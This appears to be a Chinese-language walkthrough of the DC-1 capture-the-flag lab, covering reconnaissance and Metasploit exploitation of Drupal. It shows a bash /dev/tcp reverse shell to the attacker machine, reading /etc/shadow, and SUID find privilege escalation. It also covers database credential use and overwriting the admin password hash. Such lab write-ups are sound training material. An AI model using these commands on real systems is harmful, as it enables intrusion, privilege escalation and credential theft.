DC-1靶机
下载好VirtualBox 靶机DC-1
目标:靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。
安装
安装好之后如下:
接着来调设置
然后就把靶机开起来,这里是没有账号密码的,需要我们自己去拿到
信息收集
寻找ip
我们回到kali,我们现在还不知道靶机的IP,所以我们先来寻找一下
1 | arp-scan -l |
该命令是:探测同一区域中存活主机
去VirtualBox看靶机的信息
所以我们就知道ip为192.168.56.103为靶机的ip地址
端口扫描
1 | $ nmap -sV -p- 192.168.56.103 |
80端口开放了 网站服务 ,我们去访问一下
测试
先尝试了一下弱密码,和sql注入发现都没有什么收获
试着去找找CMS漏洞 这个不难看出是Drupal
打开Wappalyzer 有版本信息
拿shell
在网上就去寻找有没有它的漏洞poc 或者用kali自带的 msfconsole 看看有没有自带的漏洞脚本
search drupal
优先选择上面查到模块的Rank为excellent并且时间较新的模块
这里我用的是1
use 1
show options
有yes且第三项为空的就必须得填
这里我们把 rhost 跟 lhost设置一下 rhost为靶机 lhost为攻击机
攻击机的ip为192.168.56.102 设置好之后就run
出现这个,我们就拿到普通shell了
加固权限
先说说为什么要加固权限:因为在一开始shell的那个窗口,不太好打命令,不方便使用,而且在输入一些命令时,可能会出现没有回显的情况。
我们先在kali上监听
1 | nc -nvlp 4444 |
在原shell中把shell反弹给kali
1 | bash -c 'exec bash -i &>/dev/tcp/kali的ip/4444 <&1' |
调用python
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
接着
1 | ctrl +z |
到这里就加固完成了
flag
发现flag1
1 | flag1 |
说明下一步要去配置文件看看,但是我们对这个cms并不熟悉,所以我们去搜索看看drupal的配置文件在哪
1 | sites/default/settings.php |
我们来看看里面有什么东西
发现flag2
1 | flag2 |
很明显 暴力破解跟字典攻击是指的为drupal的那个登录界面,注意到 下面是不是还有数据库的账号跟密码,我们是不是可以去数据库看看管理员的账号密码
连接数据库
1 | mysql -u dbuser -p |
1 | R0ck3t |
查库
我们来看durpaldb这个库
在这个库中存在一张users表
很明显这是加密之后的密码,我们拿不到明文密码,试试能不能改admin用户的密码,或者是在添加一个admin用户
思路:
我们可以先利用加密逻辑对一个我们知道的字符串进行加密,然后再去数据库修改密码
不会的就先去搜集资料:
在password.inc中有加密逻辑,但是不知道怎么用上去,本来是可以写个php脚本来调用函数来输出加密后的密码的
然后查到scripts目录下放的是一些web端sh运行脚本文件,既然我们在登录界面输入的明文密码,那它应该是有一个加密脚本的
这个password-hash.sh应该就是我们要找的脚本了
要注意的是它是要用include 调用password.inc
所以要回到www目录下调用脚本
1 | admin |
1 | UPDATE users |
登录成功
发现flag3
1 | flag3 |
知识点:find命令跟exec
找到etc下的passwd文件
发现flag4
etc/passwd 文件结构
用户名: flag4
— 用户的登录名是 flag4
。
密码占位符: x
— 密码哈希在 /etc/shadow
文件中,而不是直接在 /etc/passwd
文件中。
UID: 1001
— 用户的唯一标识符。
GID: 1001
— 用户的主组的唯一标识符。
用户描述: Flag4,,,
— 用户的描述字段,可能用于标识用户的特殊信息。
主目录: /home/flag4
— 用户的主目录路径。
默认 Shell: /bin/bash
— 用户登录后的默认 Shell 是 Bash。
1 | flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash |
1 | Can you use this same method to find or access the flag in root? |
找到flag4的时候我没有用上find 跟exec 这里思路断了,不知道怎么用上exec命令
提权
根据一开始的方法直接去cat shadow文件 权限是不够的
然后发现
1 | find 1 -exec cat /etc/shadow \; |
在find查询到1这个文件之后 exec执行的cat命令就可以查看,相当于exec让我们短暂的成为了root权限
/bin/sh它只是启动一个新的 Shell 进程。这个 Shell 进程会以启动它的用户的权限运行(例如,普通用户或 root
)。如果你没有 root
权限,启动的 /bin/sh
也不会拥有 root
权限。
当我们用exec打开的shell 就可以提升权限了
最终拿到root权限 拿到最后的flag
1 | Well done!!!! |
补充:
find / -user root -perm -4000 -print 2>/dev/null
find /
: 从根目录 /
开始递归查找文件。你可以根据需要替换 /
为其他目录进行更局限的查找,例如 /usr/bin
。
-user root
: 仅查找属于用户 root
的文件。SUID 文件通常由 root
用户拥有,所以这部分确保只查找 root 用户拥有的文件。
-perm -4000
: 查找具有 SUID 权限的文件。-4000
表示 SUID 位设置(即八进制权限值中的第一个数字是 4
),-
确保查找精确的权限设置。
-print
: 打印出找到的文件路径。
2>/dev/null
: 将错误输出(例如权限错误或找不到文件的错误)重定向到 /dev/null
,即忽略这些错误,避免它们显示在终端上。
运行该命令后,你将得到系统上所有具有 SUID 权限并由 root
用户拥有的文件列表。这些文件通常是系统关键的工具或二进制文件,可能会被用于需要提升权限的操作。